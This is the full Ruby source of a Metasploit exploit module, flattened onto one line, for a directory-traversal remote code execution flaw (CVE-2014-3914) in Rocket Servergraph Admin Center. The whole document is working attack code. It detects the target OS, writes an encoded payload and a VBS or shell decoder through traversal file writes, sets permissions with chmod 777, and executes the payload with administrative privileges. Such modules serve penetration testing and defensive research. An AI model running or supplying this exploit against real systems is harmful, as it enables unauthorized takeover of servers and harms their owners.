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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name'=> 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution', 'Description' => %q{ This module abuses several directory traversal flaws in Rocket Servergraph Admin Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet, allowing a remote attacker to write arbitrary files and execute commands with administrative privileges. This module has been tested successfully on Rocket ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu 12.04 64 bits. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References'=> [ ['CVE', '2014-3914'], ['ZDI', '14-161'], ['ZDI', '14-162'], ['BID', '67779'] ], 'Privileged'=> true, 'Platform'=> %w{ linux unix win }, 'Arch'=> [ARCH_X86, ARCH_X86_64, ARCH_CMD], 'Payload' => { 'Space' => 8192, # it's writing a file, so just a long enough value 'DisableNops' => true #'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply }, 'Targets' => [ [ 'Linux (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], [ 'Linux (CMD Payload)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ], [ 'Windows / VB Script', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], [ 'Windows CMD', { 'Platform' => 'win', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Oct 30 2013')) register_options( [ Opt::RPORT(8888) ], self.class) register_advanced_options( [ OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]), OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]), OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ]) ], self.class) end def check os = get_os if os.nil? return Exploit::CheckCode::Safe end Exploit::CheckCode::Appears end def exploit os = get_os if os == 'win' && target.name =~ /Linux/ fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected") elsif os == 'linux' && target.name =~ /Windows/ fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected") elsif os.nil? print_warning("#{peer} - Failed to detect remote operating system, trying anyway...") end if target.name =~ /Windows.*VB/ exploit_windows_vbs elsif target.name =~ /Windows.*CMD/ exploit_windows_cmd elsif target.name =~ /Linux.*CMD/ exploit_linux_cmd elsif target.name =~ /Linux.*Native/ exploit_linux_native end end def exploit_windows_vbs traversal = "\\.." * traversal_depth payload_base64 = Rex::Text.encode_base64(generate_payload_exe) temp = temp_dir('win') decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs" encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe" print_status("#{peer} - Dropping the encoded payload to filesystem...") write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) vbs = generate_decoder_vbs({ :temp_dir => "C:#{temp}", :encoded_file_name => encoded_file_name, :exe_file_name => exe_file_name }) print_status("#{peer} - Dropping the VBS decoder to filesystem...") write_file("#{traversal}#{temp}#{decoder_file_name}", vbs) register_files_for_cleanup("C:#{temp}#{decoder_file_name}") register_files_for_cleanup("C:#{temp}#{encoded_file_name}") register_files_for_cleanup("C:#{temp}#{exe_file_name}") print_status("#{peer} - Executing payload...") execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}") end def exploit_windows_cmd traversal = "\\.." * traversal_depth execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}") end def exploit_linux_native traversal = "/.." * traversal_depth payload_base64 = Rex::Text.encode_base64(generate_payload_exe) temp = temp_dir('linux') encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh" elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf" print_status("#{peer} - Dropping the encoded payload to filesystem...") write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) decoder = <<-SH #!/bin/sh base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name} chmod 777 #{temp}#{elf_file_name} #{temp}#{elf_file_name} SH print_status("#{peer} - Dropping the decoder to filesystem...") write_file("#{traversal}#{temp}#{decoder_file_name}", decoder) register_files_for_cleanup("#{temp}#{decoder_file_name}") register_files_for_cleanup("#{temp}#{encoded_file_name}") register_files_for_cleanup("#{temp}#{elf_file_name}") print_status("#{peer} - Giving execution permissions to the decoder...") execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}") print_status("#{peer} - Executing decoder and payload...") execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}") end def exploit_linux_cmd temp = temp_dir('linux') elf = rand_text_alpha(4 + rand(4)) traversal = "/.." * traversal_depth print_status("#{peer} - Dropping payload...") write_file("#{traversal}#{temp}#{elf}", payload.encoded) register_files_for_cleanup("#{temp}#{elf}") print_status("#{peer} - Providing execution permissions...") execute("#{traversal}/bin/chmod 777 #{temp}#{elf}") print_status("#{peer} - Executing payload...") execute("#{traversal}#{temp}#{elf}") end def generate_decoder_vbs(opts = {}) decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64") f = File.new(decoder_path, "rb") decoder = f.read(f.stat.size) f.close decoder.gsub!(/>>decode_stub/, "") decoder.gsub!(/^echo /, "") decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}") decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}") decoder end def get_os os = nil path = "" hint = rand_text_alpha(3 + rand(4)) res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}") if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/ path = $1 elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/ path = $1 end if path =~ /^\// os = 'linux' elsif path =~ /^[a-zA-Z]:\\/ os = 'win' end os end def temp_dir(os) temp = "" case os when 'linux' temp = linux_temp_dir when 'win' temp = win_temp_dir end temp end def linux_temp_dir dir = "/tmp/" if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty? dir = datastore['TEMP_DIR'] end unless dir.start_with?("/") dir = "/#{dir}" end unless dir.end_with?("/") dir = "#{dir}/" end dir end def win_temp_dir dir = "\\#{win_dir}\\Temp\\" if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty? dir = datastore['TEMP_DIR'] end dir.gsub!(/\//, "\\") dir.gsub!(/^([A-Za-z]:)?/, "") unless dir.start_with?("\\") dir = "\\#{dir}" end unless dir.end_with?("\\") dir = "#{dir}\\" end dir end def win_dir dir = "WINDOWS" if datastore['WINDIR'] dir = datastore['WINDIR'] dir.gsub!(/\//, "\\") dir.gsub!(/[\\]*$/, "") dir.gsub!(/^([A-Za-z]:)?[\\]*/, "") end dir end def traversal_depth depth = 20 if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1 depth = datastore['TRAVERSAL_DEPTH'] end depth end def write_file(file_name, contents) res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name) unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: / fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting") end res end def execute(command) res = send_request(1, "run", command) res end def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4)) data = "&invoker=#{rand_text_alpha(rand(4) + 4)}" data << "&title=#{rand_text_alpha(rand(4) + 4)}" data << "¶ms=#{rand_text_alpha(rand(4) + 4)}" data << "&id=#{rand_text_alpha(rand(4) + 4)}" data << "&cmd=#{command}" data << "&source=#{source}" data << "&query=#{query}" res = send_request_cgi( { 'uri'=> normalize_uri('/', 'SGPAdmin', 'fileRequest'), 'method' => 'POST', 'data' => data }, timeout) res end end |
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